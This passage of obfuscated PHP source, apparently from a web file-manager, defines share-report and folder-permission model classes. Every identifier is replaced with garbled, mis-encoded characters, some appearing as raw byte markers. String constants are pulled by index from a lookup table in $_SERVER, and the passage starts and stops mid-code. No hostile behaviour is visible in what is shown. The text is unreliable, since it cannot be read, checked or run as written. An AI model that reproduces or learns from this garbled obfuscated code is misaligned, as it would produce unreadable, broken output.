if ($„άëà˜[$‚ÇÓ’î†[33]]) { $‚¶ï§ÇÅ[$„άëà˜[$‚ÇÓ’î†[33]]] = 1; } else { $‚¶ï§ÇÅ[] = array($‚ÇÓ’î†[562] => array($‚ÇÓ’î†[1083], 0), $‚ÇÓ’î†[663] => array($‚ÇÓ’î†[1083], 0), $‚ÇÓ’î†[2112] => $‚ÇÓ’î†[2064]); } if ($„άëà˜[$‚ÇÓ’î†[2060]]) { $‚¶ï§ÇÅ[] = array($‚ÇÓ’î†[2109] => $„άëà˜[$‚ÇÓ’î†[2060]], $‚ÇÓ’î†[1652] => array($‚ÇÓ’î†[459], "\x25{$„άëà˜[$‚ÇÓ’î†[2060]]}\x25"), $‚ÇÓ’î†[2112] => $‚ÇÓ’î†[2064]); } $Óúû ô“ = $this->_makeOrder()->where($‚¶ï§ÇÅ)->selectPage(20); if (empty($Óúû ô“[$‚ÇÓ’î†[445]])) { return array(); } $this->_listDataApply($Óúû ô“[$‚ÇÓ’î†[445]]); return $Óúû ô“; } public function listDataApply($‘Ý±ÖÆË) { $this->_listDataApply($‘Ý±ÖÆË); return $‘Ý±ÖÆË; } private function _listDataApply(&$ß•¨ö¹è) { $¸ô²ËÞÚ =& $_SERVER[ˆ¡¹µ‹Â]; $<24>ŸÜã<C39C>° = array_to_keyvalue($ß•¨ö¹è, $¸ô²ËÞÚ[12], $¸ô²ËÞÚ[1763]); $”òÍ›šÇ = Model($¸ô²ËÞÚ[598])->userListInfo(array_unique($<24>ŸÜã<C39C>°)); $ÃØÆàŽà = array_to_keyvalue($ß•¨ö¹è, $¸ô²ËÞÚ[12], $¸ô²ËÞÚ[193]); $áÖ«¤¦é = Model($¸ô²ËÞÚ[899])->sourceListInfo($ÃØÆàŽà, !0); foreach ($ß•¨ö¹è as $æãŒè³ý => &$þ®æÐ¾<C390>) { $§ýƒï¢Ü = $þ®æÐ¾<C390>[$¸ô²ËÞÚ[1763]]; $þ®æÐ¾<C390>[$¸ô²ËÞÚ[2139]] = $”òÍ›šÇ[$§ýƒï¢Ü] ? $”òÍ›šÇ[$§ýƒï¢Ü] : !1; $¿Ô´š¹’ = $þ®æÐ¾<C390>[$¸ô²ËÞÚ[193]]; $þ®æÐ¾<C390>[$¸ô²ËÞÚ[90]] = $áÖ«¤¦é[$¿Ô´š¹’] ? $áÖ«¤¦é[$¿Ô´š¹’] : !1; if ($þ®æÐ¾<C390>[$¸ô²ËÞÚ[90]][$¸ô²ËÞÚ[505]] == $¸ô²ËÞÚ[91]) { unset($ß•¨ö¹è[$æãŒè³ý]); } if ($þ®æÐ¾<C390>[$¸ô²ËÞÚ[90]] != $¸ô²ËÞÚ[228] && !$þ®æÐ¾<C390>[$¸ô²ËÞÚ[90]]) { unset($ß•¨ö¹è[$æãŒè³ý]); } } unset($þ®æÐ¾<C390>); $ß•¨ö¹è = array_values($ß•¨ö¹è); } private function _makeOrder($Ï<>¨·<E280BA> = '') { $°›Î¸ßÀ =& $_SERVER[ˆ¡¹µ‹Â]; $¸Ì‹È’í = array($°›Î¸ßÀ[231], $°›Î¸ßÀ[828], $°›Î¸ßÀ[2126], $°›Î¸ßÀ[2127]); $’澑úœ = array($°›Î¸ßÀ[523] => $°›Î¸ßÀ[524], $°›Î¸ßÀ[525] => $°›Î¸ßÀ[526]); $‚Ñé¨Îø = Input::get($°›Î¸ßÀ[530], $°›Î¸ßÀ[7], $°›Î¸ßÀ[497], $¸Ì‹È’í); $Ÿè‰<C3A8>¸õ = Input::get($°›Î¸ßÀ[531], $°›Î¸ßÀ[7], $°›Î¸ßÀ[2140], array($°›Î¸ßÀ[2057], $°›Î¸ßÀ[525])); $Ÿè‰<C3A8>¸õ = $’澑úœ[$Ÿè‰<C3A8>¸õ]; $Ï<>¨·<E280BA> = $Ï<>¨·<E280BA> . "{$‚Ñé¨Îø}\40{$Ÿè‰<C3A8>¸õ}"; return $this->order($Ï<>¨·<E280BA>); } public function reportAdd($ßÑöÄòë) { $„‚ŒªƒŸ =& $_SERVER[ˆ¡¹µ‹Â]; $³ý<C2B3>ýë„ = array($„‚ŒªƒŸ[665] => $ßÑöÄòë[$„‚ŒªƒŸ[665]], $„‚ŒªƒŸ[1763] => USER_ID); if (Model($„‚ŒªƒŸ[2136])->where($³ý<C2B3>ýë„)->find()) { return !1; } $Œê›è…õ = array($„‚ŒªƒŸ[665] => $ßÑöÄòë[$„‚ŒªƒŸ[665]], $„‚ŒªƒŸ[1652] => $ßÑöÄòë[$„‚ŒªƒŸ[1652]], $„‚ŒªƒŸ[193] => $ßÑöÄòë[$„‚ŒªƒŸ[193]], $„‚ŒªƒŸ[541] => $ßÑöÄòë[$„‚ŒªƒŸ[541]], $„‚ŒªƒŸ[1763] => USER_ID, $„‚ŒªƒŸ[33] => $ßÑöÄòë[$„‚ŒªƒŸ[33]], $„‚ŒªƒŸ[526] => $ßÑöÄòë[$„‚ŒªƒŸ[526]]); return Model($„‚ŒªƒŸ[2136])->add($Œê›è…õ); } public function reportList($ì¶ڡê) { $€¾ÍÔöÑ =& $_SERVER[ˆ¡¹µ‹Â]; $°ð“<C3B0><E2809C>ä = array(); if ($ì¶ڡê[$€¾ÍÔöÑ[827]]) { $ñ¼ëÊî<C38A> = $ì¶ڡê[$€¾ÍÔöÑ[828]] ? $ì¶ڡê[$€¾ÍÔöÑ[828]] : strtotime(date($€¾ÍÔöÑ[2138])); $°ð“<C3B0><E2809C>ä[$€¾ÍÔöÑ[231]] = array($€¾ÍÔöÑ[409], array($ì¶ڡê[$€¾ÍÔöÑ[827]], $ñ¼ëÊî<C38A>)); } if (isset($ì¶ڡê[$€¾ÍÔöÑ[33]]) && in_array($ì¶ڡê[$€¾ÍÔöÑ[33]], array($€¾ÍÔöÑ[91], $€¾ÍÔöÑ[510], $€¾ÍÔöÑ[2141], $€¾ÍÔöÑ[2142], $€¾ÍÔöÑ[2143]))) { $°ð“<C3B0><E2809C>ä[$€¾ÍÔöÑ[33]] = $ì¶ڡê[$€¾ÍÔöÑ[33]]; } if (isset($ì¶ڡê[$€¾ÍÔöÑ[817]]) && in_array($ì¶ڡê[$€¾ÍÔöÑ[817]], array($€¾ÍÔöÑ[228], $€¾ÍÔöÑ[91], $€¾ÍÔöÑ[510], $€¾ÍÔöÑ[2141]))) { $°ð“<C3B0><E2809C>ä[$€¾ÍÔöÑ[817]] = $ì¶ڡê[$€¾ÍÔöÑ[817]]; } $éšÈ»Œ¡ = Input::get($€¾ÍÔöÑ[531], $€¾ÍÔöÑ[7], $€¾ÍÔöÑ[2140], array($€¾ÍÔöÑ[2057], $€¾ÍÔöÑ[525])); $ÔõÚ½<C39A> = array($€¾ÍÔöÑ[523] => $€¾ÍÔöÑ[524], $€¾ÍÔöÑ[525] => $€¾ÍÔöÑ[526]); $Š<>݃¨ò = $€¾ÍÔöÑ[2144] . $ÔõÚ½<C39A>[$éšÈ»Œ¡]; $øÐˆíõˆ = Model($€¾ÍÔöÑ[2136])->where($°ð“<C3B0><E2809C>ä)->order($Š<>݃¨ò)->selectPage(20); if (empty($øÐˆíõˆ[$€¾ÍÔöÑ[445]])) { return array(); } $Ý˺òëª = array_to_keyvalue_group($øÐˆíõˆ[$€¾ÍÔöÑ[445]], $€¾ÍÔöÑ[817], $€¾ÍÔöÑ[665]); if (!empty($Ý˺òëª[0])) { $ì¶ڡê = $Ý˺òëª[0]; $°ð“<C3B0><E2809C>ä = array($€¾ÍÔöÑ[665] => array($€¾ÍÔöÑ[7], $ì¶ڡê)); $û¡•¿¾Ï = $this->where($°ð“<C3B0><E2809C>ä)->field($€¾ÍÔöÑ[665])->select(); $û¡•¿¾Ï = array_to_keyvalue($û¡•¿¾Ï, $€¾ÍÔöÑ[12], $€¾ÍÔöÑ[665]); $‡àÃüîœ = array_diff($ì¶ڡê, $û¡•¿¾Ï); if (!empty($‡àÃüîœ)) { foreach ($øÐˆíõˆ[$€¾ÍÔöÑ[445]] as $›¹òÊõŸ => $·Ù“óè¶) { if (in_array($·Ù“óè¶[$€¾ÍÔöÑ[665]], $‡àÃüîœ)) { unset($øÐˆíõˆ[$€¾ÍÔöÑ[445]][$›¹òÊõŸ]); } } } } $this->_listDataApply($øÐˆíõˆ[$€¾ÍÔöÑ[445]]); return $øÐˆíõˆ; } public function reportStatus($ÈÕ£¿<C2A3>) { $¿°ÂÚ¨ç =& $_SERVER[ˆ¡¹µ‹Â]; $Ó§¨¤åÉ = array($¿°ÂÚ¨ç[475] => $ÈÕ£¿<C2A3>[$¿°ÂÚ¨ç[475]]); $®òŽåºÉ = Model($¿°ÂÚ¨ç[2136])->where($Ó§¨¤åÉ)->field($¿°ÂÚ¨ç[2145])->find(); if (!$®òŽåºÉ) { return !1; } $ï×м—ä = array($¿°ÂÚ¨ç[817] => $ÈÕ£¿<C2A3>[$¿°ÂÚ¨ç[817]]); if ($ÈÕ£¿<C2A3>[$¿°ÂÚ¨ç[817]] == $¿°ÂÚ¨ç[2141] && $®òŽåºÉ[$¿°ÂÚ¨ç[817]] == $¿°ÂÚ¨ç[2141]) { $ï×м—ä[$¿°ÂÚ¨ç[817]] = 0; } $×áÙ<C3A1>þÑ = Model($¿°ÂÚ¨ç[2136])->where($Ó§¨¤åÉ)->save($ï×м—ä); if ($ÈÕ£¿<C2A3>[$¿°ÂÚ¨ç[817]] == $¿°ÂÚ¨ç[510]) { if ($®òŽåºÉ[$¿°ÂÚ¨ç[541]] != $¿°ÂÚ¨ç[228] && $this->shareFileMeta($®òŽåºÉ[$¿°ÂÚ¨ç[541]])) { $this->shareFileMeta($®òŽåºÉ[$¿°ÂÚ¨ç[541]], 0); } $this->remove($®òŽåºÉ[$¿°ÂÚ¨ç[665]]); return !0; } if ($×áÙ<C3A1>þÑ && $ÈÕ£¿<C2A3>[$¿°ÂÚ¨ç[817]] == $¿°ÂÚ¨ç[2141]) { $¦¥ü<C2A5>ú = $ï×м—ä[$¿°ÂÚ¨ç[817]] == $¿°ÂÚ¨ç[2141] ? 1 : 0; $this->shareFileMeta($®òŽåºÉ[$¿°ÂÚ¨ç[541]], $¦¥ü<C2A5>ú); $this->removeByFile($®òŽåºÉ[$¿°ÂÚ¨ç[541]]); } return $×áÙ<C3A1>þÑ; } private function removeByFile($… ¡×ÕÂ) { $ÚÆÎü¹¢ =& $_SERVER[ˆ¡¹µ‹Â]; $ñ<>Ç”‰ë = Model($ÚÆÎü¹¢[899])->where(array($ÚÆÎü¹¢[541] => $… ¡×ÕÂ))->field($ÚÆÎü¹¢[193])->select(); $ª‚²…øß = array_to_keyvalue($ñ<>Ç”‰ë, $ÚÆÎü¹¢[12], $ÚÆÎü¹¢[193]); $ÃÛè݆ˆ = array($ÚÆÎü¹¢[193] => array($ÚÆÎü¹¢[7], $ª‚²…øß), $ÚÆÎü¹¢[562] => 1); $ñ<>Ç”‰ë = $this->where($ÃÛè݆ˆ)->field($ÚÆÎü¹¢[665])->select(); if (empty($ñ<>Ç”‰ë)) { return; } $±óØž«Ë = array_to_keyvalue($ñ<>Ç”‰ë, $ÚÆÎü¹¢[12], $ÚÆÎü¹¢[665]); $this->remove($±óØž«Ë); } private function shareFileMeta($ø÷þؼØ, $ä<>ÇŠÇ = null) { $Æåû‘Í… =& $_SERVER[ˆ¡¹µ‹Â]; $¦Â«ø©õ = array($Æåû‘Í…[541] => $ø÷þؼØ, $Æåû‘Í…[97] => $Æåû‘Í…[2146]); if (is_null($ä<>ÇŠÇ)) { return Model($Æåû‘Í…[2147])->where($¦Â«ø©õ)->find(); } $¦Â«ø©õ[$Æåû‘Í…[450]] = $ä<>ÇŠÇ; Model($Æåû‘Í…[2147])->add($¦Â«ø©õ, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\x69\157\x5f\x73\157\165\x72\143\x65\137\x61\165\x74\x68"; public function getAuth($ÕïÇÜâ) { $ØÚþž‘ˆ =& $_SERVER[ˆ¡¹µ‹Â]; $®„§œšÃ = $this->sourceAuthSelect($ÕïÇÜâ); $Ÿ”¹¼”Þ = array(); $茻Œïç = array(); $±ö€¯üÓ = 2 << 25; foreach ($®„§œšÃ as $ôœ¤®Ì•) { $¨–ææûð = Model($ØÚþž‘ˆ[571])->listData($ôœ¤®Ì•[$ØÚþž‘ˆ[2070]]); if (!$¨–ææûð) { continue; } $Ÿ”¹¼”Þ[] = $ôœ¤®Ì•; $‰©ÎÉ‹¿ = 0; if ($ôœ¤®Ì•[$ØÚþž‘ˆ[190]] == SourceModel::TYPE_GROUP) { $‰©ÎÉ‹¿ = $±ö€¯üÓ * 2; } if ($ôœ¤®Ì•[$ØÚþž‘ˆ[190]] == SourceModel::TYPE_USER) { $‰©ÎÉ‹¿ = $±ö€¯üÓ; } if ($ôœ¤®Ì•[$ØÚþž‘ˆ[190]] == SourceModel::TYPE_USER && $ôœ¤®Ì•[$ØÚþž‘ˆ[569]] == $ØÚþž‘ˆ[228]) { $‰©ÎÉ‹¿ = 0; } $茻Œïç[] = $¨–ææûð[$ØÚþž‘ˆ[487]] + $‰©ÎÉ‹¿; } array_multisort($茻Œïç, SORT_DESC, $Ÿ”¹¼”Þ); return $Ÿ”¹¼”Þ; } public function sourceAuthSelect($Ø’ö­–è) { $Å·­Úü™ =& $_SERVER[ˆ¡¹µ‹Â]; static $°º—žÎÔ = array(); $ŒÂ½ã×° = is_array($Ø’ö­–è) ? !1 : !0; if ($ŒÂ½ã×°) { $Ø’ö­–è = array($Ø’ö­–è); } $ëû½Ïù˜ = array(); foreach ($Ø’ö­–è as $£¶Å›‡É) { if (isset($°º—žÎÔ[$£¶Å›‡É])) { $ëû½Ïù˜[$£¶Å›‡É] = $°º—žÎÔ[$£¶Å›‡É]; } } if (count($ëû½Ïù˜) == count($Ø’ö­–è)) { return $ŒÂ½ã×° ? $ëû½Ïù˜[$Ø’ö­–è[0]] : $ëû½Ïù˜; } $Žìš<C3AC>Ù÷ = $Å·­Úü™[2148]; $Èì½ŒŽ• = array($Å·­Úü™[193] => array($Å·­Úü™[7], $Ø’ö­–è)); $Šþ°õêÓ = $this->field($Žìš<C3AC>Ù÷)->order($Å·­Úü™[475])->where($Èì½ŒŽ•)->select(); $ý­¶í´œ = array_to_keyvalue_group($Šþ°õêÓ, $Å·­Úü™[193]); foreach ($Ø’ö­–è as $£¶Å›‡É) { $°º—žÎÔ[$£¶Å›‡É] = $ý­¶í´œ[$£¶Å›‡É] ? $ý­¶í´œ[$£¶Å›‡É] : array(); } if ($ŒÂ½ã×°) { return $Šþ°õêÓ; } return $ý­¶í´œ; } public function setAuth($‡¿Ñâ–Û, $¡Ã¥¯«Ý) { $®•÷è<C3B7>“ =& $_SERVER[ˆ¡¹µ‹Â]; $æìà˜Ö· = Model($®•÷è<C3B7>“[1411])->sourceInfo($‡¿Ñâ–Û); if (!$æìà˜Ö·) { return !1; } if ($æìà˜Ö·[$®•÷è<C3B7>“[190]] != SourceModel::TYPE_GROUP) { return !1; } $¸Þ«—–¾ = 1; $¡ç°¢ö« = $æìà˜Ö·[$®•÷è<C3B7>“[569]]; if ($¡ç°¢ö« != $¸Þ«—–¾) { $œ<>Ѷ±® = array($®•÷è<C3B7>“[1962] => $¡ç°¢ö«); $öƒÎÐÂø = Model($®•÷è<C3B7>“[2056])->field($®•÷è<C3B7>“[1763])->where($œ<>Ѷ±®)->select(); $öƒÎÐÂø = array_to_keyvalue($öƒÎÐÂø, $®•÷è<C3B7>“[12], $®•÷è<C3B7>“[1763]); } $¼Ò—€Ðã = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ŽÚÓêê— = array(); foreach ($¡Ã¥¯«Ý as $î§ãž¿æ) { if (!in_array($î§ãž¿æ[$®•÷è<C3B7>“[190]], $¼Ò—€Ðã)) { show_json(LNG($®•÷è<C3B7>“[2149]), !1); } if ($¡ç°¢ö« != $¸Þ«—–¾) { if ($î§ãž¿æ[$®•÷è<C3B7>“[190]] == SourceModel::TYPE_GROUP) { } if ($î§ãž¿æ[$®•÷è<C3B7>“[569]] != 0 && !in_array($î§ãž¿æ[$®•÷è<C3B7>“[569]], $öƒÎÐÂø)) { } } if ($î§ãž¿æ[$®•÷è<C3B7>“[569]] == 0) { $î§ãž¿æ[$®•÷è<C3B7>“[190]] = SourceModel::TYPE_USER; } $ŽÚÓêê—[] = array($®•÷è<C3B7>“[193] => $‡¿Ñâ–Û, $®•÷è<C3B7>“[190] => intval($î§ãž¿æ[$®•÷è<C3B7>“[190]]), $®•÷è<C3B7>“[569] => intval($î§ãž¿æ[$®•÷è<C3B7>“[569]]), $®•÷è<C3B7>“[2070] => intval($î§ãž¿æ[$®•÷è<C3B7>“[2070]]) ? intval($î§ãž¿æ[$®•÷è<C3B7>“[2070]]) : 0, $®•÷è<C3B7>“[2131] => intval($î§ãž¿æ[$®•÷è<C3B7>“[2131]]) ? intval($î§ãž¿æ[$®•÷è<C3B7>“[2131]]) : -1); } $this->where(array($®•÷è<C3B7>“[491] => $‡¿Ñâ–Û))->delete(); $this->addAll($ŽÚÓêê—); return !0; } public function authClear($üÍäãÍŸ) { $ªžáÆÆä =& $_SERVER[ˆ¡¹µ‹Â]; $‘λ°ûÀ = Model($ªžáÆÆä[1411])->sourceInfo($üÍäãÍŸ); $ÕÔ…¡ž<C2A1> = array($üÍäãÍŸ); if ($‘λ°ûÀ[$ªžáÆÆä[485]] == $ªžáÆÆä[91]) { $½¡×öèä = array($ªžáÆÆä[652] => array($ªžáÆÆä[612], $‘λ°ûÀ[$ªžáÆÆä[584]] . $üÍäãÍŸ . $ªžáÆÆä[613])); $ÕÔ…¡ž<C2A1> = Model($ªžáÆÆä[1411])->field($ªžáÆÆä[491])->where($½¡×öèä)->getField($ªžáÆÆä[193], !0); $ÕÔ…¡ž<C2A1>[] = $üÍäãÍŸ; } $this->where(array($ªžáÆÆä[491] => array($ªžáÆÆä[492], $ÕÔ…¡ž<C2A1>)))->delete(); return !0; } public function getAllChildren($ÆåášÙÉ) { $ ÔŸ¾Ä<C2BE> =& $_SERVER[ˆ¡¹µ‹Â]; $ɤ·Žåã = Model($ ÔŸ¾Ä<C2BE>[1411])->sourceInfo($ÆåášÙÉ); if ($ɤ·Žåã[$ ÔŸ¾Ä<C2BE>[485]] != $ ÔŸ¾Ä<C2BE>[91]) { return $this->sourceListAuth(array($ÆåášÙÉ)); } if ($ɤ·Žåã[$ ÔŸ¾Ä<C2BE>[190]] != SourceModel::TYPE_GROUP) { return array(); } $õ<>š<EFBFBD>™ = 1; $âý³£Á´ = array($ÆåášÙÉ); if ($ɤ·Žåã[$ ÔŸ¾Ä<C2BE>[192]] == $ ÔŸ¾Ä<C2BE>[228] && $ɤ·Žåã[$ ÔŸ¾Ä<C2BE>[569]] != $õ<>š<EFBFBD>™) { $âý³£Á´ = $this->groupChidldAllRootSource($ɤ·Žåã[$ ÔŸ¾Ä<C2BE>[569]]); } $ãØÂ׺ž = $this->field($ ÔŸ¾Ä<C2BE>[193])->group($ ÔŸ¾Ä<C2BE>[193])->select(); $ãØÂ׺ž = array_to_keyvalue($ãØÂ׺ž, $ ÔŸ¾Ä<C2BE>[12], $ ÔŸ¾Ä<C2BE>[193]); if (!$ãØÂ׺ž) { return array(); } $‚ùè⥇ = $ ÔŸ¾Ä<C2BE>[2150]; $Šº—<C2BA>ÂÛ = array($ ÔŸ¾Ä<C2BE>[193] => array($ ÔŸ¾Ä<C2BE>[7], $ãØÂ׺ž), $ ÔŸ¾Ä<C2BE>[505] => $ ÔŸ¾Ä<C2BE>[228]); $ÂëÍ•¨à = Model($ ÔŸ¾Ä<C2BE>[899])->field($‚ùè⥇)->where($Šº—<C2BA>ÂÛ)->select(); $¡îÔ„Õê = array($ÆåášÙÉ); foreach ($ÂëÍ•¨à as $<24>Ÿ¶úú¸) { foreach ($âý³£Á´ as $ò¥Š…ü¨) { $¦¾§òÏñ = $ ÔŸ¾Ä<C2BE>[50] . $ò¥Š…ü¨ . $ ÔŸ¾Ä<C2BE>[50]; $åï°ž¼Þ = $<24>Ÿ¶úú¸[$ ÔŸ¾Ä<C2BE>[584]] . $<24>Ÿ¶úú¸[$ ÔŸ¾Ä<C2BE>[193]] . $ ÔŸ¾Ä<C2BE>[50]; if (strstr($åï°ž¼Þ, $¦¾§òÏñ)) { $¡îÔ„Õê[] = $<24>Ÿ¶úú¸[$ ÔŸ¾Ä<C2BE>[193]]; break; } } } return $this->sourceListAuth($¡îÔ„Õê); } private function sourceListAuth($ØÛÔ‚œ) { $§…­íÎ =& $_SERVER[ˆ¡¹µ‹Â]; $êµ±Ì<C2B1>ò = Model($§…­íÎ[1411])->sourceListInfo($ØÛÔ‚œ, !0); $êéÙÝðû = $this->sourceAuthSelect($ØÛÔ‚œ); $›áܾÃî = array(); $ã<>ƿʪ = array(); foreach ($êµ±Ì<C2B1>ò as $¯ºúŠï<C5A0>) { unset($¯ºúŠï<C5A0>[$§…­íÎ[529]]); unset($¯ºúŠï<C5A0>[$§…­íÎ[527]]); unset($¯ºúŠï<C5A0>[$§…­íÎ[487]]); unset($¯ºúŠï<C5A0>[$§…­íÎ[90]]); $<24>šÊåÒá = $êéÙÝðû[$¯ºúŠï<C5A0>[$§…­íÎ[193]]]; if (!$<24>šÊåÒá) { continue; } $¯ºúŠï<C5A0>[$§…­íÎ[2151]] = $this->authTargetInfo($<24>šÊåÒá); $¯ºúŠï<C5A0>[$§…­íÎ[582]] = rtrim($¯ºúŠï<C5A0>[$§…­íÎ[588]], $§…­íÎ[8]) . $§…­íÎ[8] . ltrim($¯ºúŠï<C5A0>[$§…­íÎ[582]], $§…­íÎ[8]); $›áܾÃî[] = $¯ºúŠï<C5A0>; $蓃<E2809C>ÓÚ = count(explode($§…­íÎ[8], trim($¯ºúŠï<C5A0>[$§…­íÎ[582]], $§…­íÎ[8]))); $ã<>ƿʪ[] = $蓃<E2809C>ÓÚ + ($¯ºúŠï<C5A0>[$§…­íÎ[33]] == $§…­íÎ[78] ? 0 : 1000); } array_multisort($ã<>ƿʪ, SORT_ASC, $›áܾÃî); return $›áܾÃî; } private function groupChidldAllRootSource($ȼ“‚ÍÅ) { $•ª<E280A2>žú« =& $_SERVER[ˆ¡¹µ‹Â]; $íó¿ßØÞ = Model($•ª<E280A2>žú«[2152])->groupChildrenAll($ȼ“‚ÍÅ); $ŽÂÆ»ÖÆ = array($•ª<E280A2>žú«[192] => 0, $•ª<E280A2>žú«[569] => array($•ª<E280A2>žú«[7], $íó¿ßØÞ), $•ª<E280A2>žú«[190] => SourceModel::TYPE_GROUP); $±<>ù†<C3B9>å = Model($•ª<E280A2>žú«[899])->field($•ª<E280A2>žú«[193])->where($ŽÂÆ»ÖÆ)->select(); $±<>ù†<C3B9>å = array_to_keyvalue($±<>ù†<C3B9>å, $•ª<E280A2>žú«[12], $•ª<E280A2>žú«[193]); return $±<>ù†<C3B9>å; } private function authTargetInfo($¬ô£Õï‡) { $Æ´°§à‡ =& $_SERVER[ˆ¡¹µ‹Â]; $ýÕ¥ÚË™ = array(); $Õì»Ø¶Ž = array(); $Ÿî“ö<C3B6> = 2 << 25; foreach ($¬ô£Õï‡ as $ÆËø°¾Þ) { $¾—Ä™÷¤ = Model($Æ´°§à‡[571])->listData($ÆËø°¾Þ[$Æ´°§à‡[2070]]); if (!$¾—Ä™÷¤) { continue; } if ($ÆËø°¾Þ[$Æ´°§à‡[190]] == SourceModel::TYPE_USER) { $ؘƒÒŽ = Model($Æ´°§à‡[577])->getInfoSimpleOuter($ÆËø°¾Þ[$Æ´°§à‡[569]]); if ($ؘƒÒŽ[$Æ´°§à‡[1763]] == $Æ´°§à‡[1266]) { continue; } if ($ؘƒÒŽ[$Æ´°§à‡[1763]] == $Æ´°§à‡[228]) { $ؘƒÒŽ[$Æ´°§à‡[32]] = LNG($Æ´°§à‡[2153]); } } else { $ؘƒÒŽ = Model($Æ´°§à‡[585])->getInfoSimple($ÆËø°¾Þ[$Æ´°§à‡[569]]); } if (!$ؘƒÒŽ) { continue; } $ؘƒÒŽ[$Æ´°§à‡[540]] = $¾—Ä™÷¤; $ýÕ¥ÚË™[] = $ؘƒÒŽ; $êëçæÛ‚ = 0; if ($ÆËø°¾Þ[$Æ´°§à‡[190]] == SourceModel::TYPE_GROUP) { $êëçæÛ‚ = $Ÿî“ö<C3B6> * 2; } if ($ÆËø°¾Þ[$Æ´°§à‡[190]] == SourceModel::TYPE_USER) { $êëçæÛ‚ = $Ÿî“ö<C3B6>; } if ($ÆËø°¾Þ[$Æ´°§à‡[190]] == SourceModel::TYPE_USER && $ÆËø°¾Þ[$Æ´°§à‡[569]] == $Æ´°§à‡[228]) { $êëçæÛ‚ = 0; } $Õì»Ø¶Ž[] = $¾—Ä™÷¤[$Æ´°§à‡[487]] + $êëçæÛ‚; } array_multisort($Õì»Ø¶Ž, SORT_DESC, $ýÕ¥ÚË™); return $ýÕ¥ÚË™; } public function getAllChildrenByUser($ÞñðíÅÍ, $£¥úúð) { $èܲ®ºû =& $_SERVER[ˆ¡¹µ‹Â]; $”¯ÆµÑ÷ = Model($èܲ®ºû[598])->getInfo($£¥úúð); if (!$£¥úúð || !$ÞñðíÅÍ || !$”¯ÆµÑ÷) { return array(); } $ö‘êæÖï = Model($èܲ®ºû[1411])->sourceInfo($ÞñðíÅÍ); $¬ÉÊæ½ú = array(); $æ†ÁƬ’ = 1; if ($ö‘êæÖï[$èܲ®ºû[192]] == $èܲ®ºû[228] && $ö‘êæÖï[$èܲ®ºû[569]] != $æ†ÁƬ’ && $this->groupContainUser($ö‘êæÖï[$èܲ®ºû[569]], $£¥úúð)) { foreach ($”¯ÆµÑ÷[$èܲ®ºû[2154]] as $ÜÍÂÂÄð) { $ÙÞšŠŽð = Model($èܲ®ºû[585])->getInfo($ÜÍÂÂÄð[$èܲ®ºû[1962]]); $©<>ÆË¾Á = Model($èܲ®ºû[598])->getInfoSimpleOuter($£¥úúð); $©<>ÆË¾Á[$èܲ®ºû[540]] = $ÜÍÂÂÄð[$èܲ®ºû[487]]; if (Model($èܲ®ºû[571])->authCheckAction($ÜÍÂÂÄð[$èܲ®ºû[487]][$èܲ®ºû[487]], $èܲ®ºû[1983])) { continue; } $Ðû›ˆáÒ = array($èܲ®ºû[32] => $èܲ®ºû[1286] . $ÙÞšŠŽð[$èܲ®ºû[32]], $èܲ®ºû[193] => $ÙÞšŠŽð[$èܲ®ºû[90]][$èܲ®ºû[193]], $èܲ®ºû[87] => KodIO::make($ÙÞšŠŽð[$èܲ®ºû[90]][$èܲ®ºû[193]]), $èܲ®ºû[192] => $èܲ®ºû[228], $èܲ®ºû[190] => $èܲ®ºû[578], $èܲ®ºû[33] => $èܲ®ºû[616], $èܲ®ºû[582] => $ÙÞšŠŽð[$èܲ®ºû[589]], $èܲ®ºû[1962] => $ÙÞšŠŽð[$èܲ®ºû[1962]], $èܲ®ºû[586] => $ÙÞšŠŽð[$èܲ®ºû[192]], $èܲ®ºû[2151] => array($©<>ÆË¾Á)); $¬ÉÊæ½ú[$Ðû›ˆáÒ[$èܲ®ºû[193]]] = $Ðû›ˆáÒ; } } $¯ŸªæÆú = array(); $ÇÄÖ£Â× = $this->getAllChildren($ÞñðíÅÍ); foreach ($ÇÄÖ£Â× as $Í¿ç®ÖÀ) { $‡áõþ‡¥ = !1; foreach ($Í¿ç®ÖÀ[$èܲ®ºû[2151]] as $Œé¢¥©–) { if ($Œé¢¥©–[$èܲ®ºû[1763]]) { if ($Œé¢¥©–[$èܲ®ºû[1763]] == $£¥úúð) { $‡áõþ‡¥ = !0; break; } } if ($Œé¢¥©–[$èܲ®ºû[1962]]) { if ($this->groupContainUser($Œé¢¥©–[$èܲ®ºû[1962]], $£¥úúð)) { $‡áõþ‡¥ = !0; break; } } } if ($‡áõþ‡¥) { $¯ŸªæÆú[] = $Í¿ç®ÖÀ; } $жŒ‡›Ô = $Í¿ç®ÖÀ[$èܲ®ºû[193]]; if (isset($¬ÉÊæ½ú[$жŒ‡›Ô])) { $Í¿ç®ÖÀ[$èܲ®ºû[2151]][] = $¬ÉÊæ½ú[$жŒ‡›Ô][0]; $¬ÉÊæ½ú[$жŒ‡›Ô] = !1; } } $¬ÉÊæ½ú = array_filter(array_values($¬ÉÊæ½ú)); $¯ŸªæÆú = array_merge($¬ÉÊæ½ú, $¯ŸªæÆú); return $¯ŸªæÆú; } public function setAllChildrenByUser($³´÷âšÈ, $¶¥¼–ÖÈ, $–Ä—Ù•») { $­<>Š¾Û =& $_SERVER[ˆ¡¹µ‹Â]; $Ãɹх¡ = $this->getAllChildrenByUser($³´÷âšÈ, $¶¥¼–ÖÈ); if (!$–Ä—Ù•» || !$Ãɹх¡) { return !1; } foreach ($Ãɹх¡ as $ÐÊò£Æ ) { $Óä˜<C3A4>Ûø = array(); foreach ($ÐÊò£Æ [$­<>оÛ[2151]] as $ˆ„µ¶„ö) { $ÃÒþã¿ß = $ˆ„µ¶„ö[$­<>оÛ[540]]; $”ƶõî¹ = $ˆ„µ¶„ö[$­<>оÛ[1763]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ôþ¢°ð¹ = $ˆ„µ¶„ö[$­<>оÛ[1763]] ? $ˆ„µ¶„ö[$­<>оÛ[1763]] : $ˆ„µ¶„ö[$­<>оÛ[1962]]; if ($ˆ„µ¶„ö[$­<>оÛ[1763]] && $ˆ„µ¶„ö[$­<>оÛ[1763]] == $¶¥¼–ÖÈ) { continue; } $Óä˜<C3A4>Ûø[] = array($­<>оÛ[193] => $ÐÊò£Æ [$­<>оÛ[193]], $­<>оÛ[190] => $”ƶõî¹, $­<>оÛ[569] => intval($ôþ¢°ð¹), $­<>оÛ[2070] => isset($ÃÒþã¿ß[$­<>оÛ[475]]) ? 